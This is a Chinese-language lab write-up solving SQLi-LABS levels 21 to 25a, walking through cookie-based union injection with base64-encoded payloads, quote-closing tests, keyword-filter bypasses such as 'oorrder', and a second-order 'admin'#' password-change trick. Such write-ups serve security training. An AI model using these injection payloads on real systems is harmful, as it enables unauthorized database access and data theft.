SQLi-LABS(21~25a关详解)

SQLi-LABS Less-21

查看题目环境

SQLi-LABS(21~25a关详解)_第1张图片SQLi-LABS(21~25a关详解)_第2张图片
登陆给我回显的数据是I LOVE YOU COOKIES。
这题看了网上的wp才知道原来是将我们的uname和passwd都进行base64编码,表示不知道怎么看出来的。

 Cookie:uname=YWRtaW4=

SQLi-LABS(21~25a关详解)_第3张图片

测试注入点

尝试

Cookie= uname=admin'

SQLi-LABS(21~25a关详解)_第4张图片转成base64就是

Cookie= uname=YWRtaW4n

SQLi-LABS(21~25a关详解)_第5张图片
可以发现报错信息如下,通过报错信息可以知道,可以使用’)闭合,又因为前面有回显数据,所以判断可以使用联合查询

SQL注入

因为前面测得具有回显,所以采取union联合查询
流程为

查找列数

Cookie: uname=admin') order by 3 #

转base64

Cookie: uname=YWRtaW4nKSBvcmRlciBieSAzICM=

#用于注释掉sql语句后面的内容,最终查出返回的列数为3列(列数一个一个试,最大的一个数,且不报Unknown column ‘*’ in ‘order clause’)

查询数据库

Cookie:uname=-1') union select 1,1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata) #

转base64

Cookie:uname=LTEnKSB1bmlvbiBzZWxlY3QgMSwxLChTRUxFQ1QgR1JPVVBfQ09OQ0FUKHNjaGVtYV9uYW1lKSBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS5zY2hlbWF0YSkgIw==

这边uname传入一个数据库中没有的值即可,因为如果是数据库中存在的值,即会返回多条记录,会显示前一个找到的值,而我们想要的将无法显示。
同时我们使用GROUP_CONCAT将查询到的数据库名拼接显示

查询数据库中的表

Cookie:uname=-1') union select 1,1,(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" ) #

转base64

Cookie:uname=LTEnKSB1bmlvbiBzZWxlY3QgMSwxLChTRUxFQ1QgR1JPVVBfQ09OQ0FUKFRBQkxFX05BTUUpIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyBXSEVSRSBUQUJMRV9TQ0hFTUE9ImN0ZnRyYWluaW5nIiApICM=

查表中的字段

Cookie:uname=-1') union select 1,1,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'flag') #

转base64

Cookie:uname=LTEnKSB1bmlvbiBzZWxlY3QgMSwxLChTRUxFQ1QgR1JPVVBfQ09OQ0FUKGNvbHVtbl9uYW1lKSBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIFdIRVJFIHRhYmxlX25hbWUgPSAnZmxhZycpICM=

查数据

Cookie:uname=-1') union select 1,1,(SELECT GROUP_CONCAT(flag) FROM ctftraining.flag) #

转base64

Cookie:uname=LTEnKSB1bmlvbiBzZWxlY3QgMSwxLChTRUxFQ1QgR1JPVVBfQ09OQ0FUKGZsYWcpIEZST00gY3RmdHJhaW5pbmcuZmxhZykgIw==

SQLi-LABS Less-22

查看题目环境

SQLi-LABS(21~25a关详解)_第6张图片SQLi-LABS(21~25a关详解)_第7张图片
登陆给我回显的数据是I LOVE YOU COOKIES。
因为做完less21,所以直接尝试是不是对uname和passwd进行过base64
SQLi-LABS(21~25a关详解)_第8张图片
可以发现确实是对uname和passwd进行了base64加密

测试注入点

尝试

Cookie= uname=admin"

SQLi-LABS(21~25a关详解)_第9张图片 转成base64就是

Cookie= uname=YWRtaW4i

SQLi-LABS(21~25a关详解)_第10张图片
可以发现报错信息如下,通过报错信息可以知道,可以使用双引号闭合,又因为前面有回显数据,所以判断可以使用联合查询

SQL注入

因为前面测得具有回显,所以采取union联合查询
流程同Less21

SQLi-LABS Less-23

查看题目环境

SQLi-LABS(21~25a关详解)_第11张图片
首先可以看到这题传入id=1后,会有回显,显示出该条记录

测试注入点

构造payload

http://7bebb370-fa5d-43b9-8bfb-4b21ace1fa74.node1.buuoj.cn/Less-23/?id=1' or '1'='1

页面正常回显

payload

http://7bebb370-fa5d-43b9-8bfb-4b21ace1fa74.node1.buuoj.cn/Less-23/?id=1'and '1'='2

页面无数据显示

由此可以判断出:此处具有Sql注入漏洞

SQL注入

因为前面测得具有回显,所以采取union联合查询
这边发现使用–+或者#注释都会报错,从报错信息看应该是把他们都过滤了,所以这边使用or ‘1’='1闭合后面的单引号
后续详细联合查询可以参考Less1

SQLi-LABS Less-24

查看题目环境

SQLi-LABS(21~25a关详解)_第12张图片
看了网上的大概思路是注册一个用户名为admin’#的用户,然后登陆进去改密码的时候,后台的sql语句会自动构建出修改admin的密码的语句,达到修改admin密码的效果

这题我在buu平台上好像有点问题,所以这边没有能复现了。

SQLi-LABS Less-25

查看题目环境

SQLi-LABS(21~25a关详解)_第13张图片
首先可以看到这题传入id=1后,会有回显,显示出该条记录
同时通过下面的提示我们大概可以看出,这题是过滤了’OR‘和’AND‘
后面测试的时候发现还过滤了#

测试注入点

构造payload

http://7bebb370-fa5d-43b9-8bfb-4b21ace1fa74.node1.buuoj.cn/Less-25/?id=1'

SQLi-LABS(21~25a关详解)_第14张图片
通过报错信息可以发现可以使用单引号闭合。
由此可以判断出:此处具有Sql注入漏洞

SQL注入

其实过滤掉or和and对我们注入并没有什么影响,因为我们不需要使用or闭合后面的单引号
找列数因为要用到order,可以双写or绕过,就是oorrder可以绕过
然后#可以使用–+替代
后续详细联合查询参考Less1

SQLi-LABS Less-25a

查看题目环境

SQLi-LABS(21~25a关详解)_第15张图片
首先可以看到这题传入id=1后,会有回显,显示出该条记录
同时通过下面的提示我们大概可以看出,这题是过滤了’OR‘和’AND‘
后面测试的时候发现还过滤了加号和#

测试注入点

构造payload

http://7bebb370-fa5d-43b9-8bfb-4b21ace1fa74.node1.buuoj.cn/Less-25a/?id=1 oorr '1'='1'

发现能正常显示,所以应该是数字型注入

SQL注入

找列数因为要用到order,可以双写or绕过,就是oorrder可以绕过
然后又用到or的地方都可以用oorr绕过
后续详细联合查询参考Less1

你可能感兴趣的:(CTF)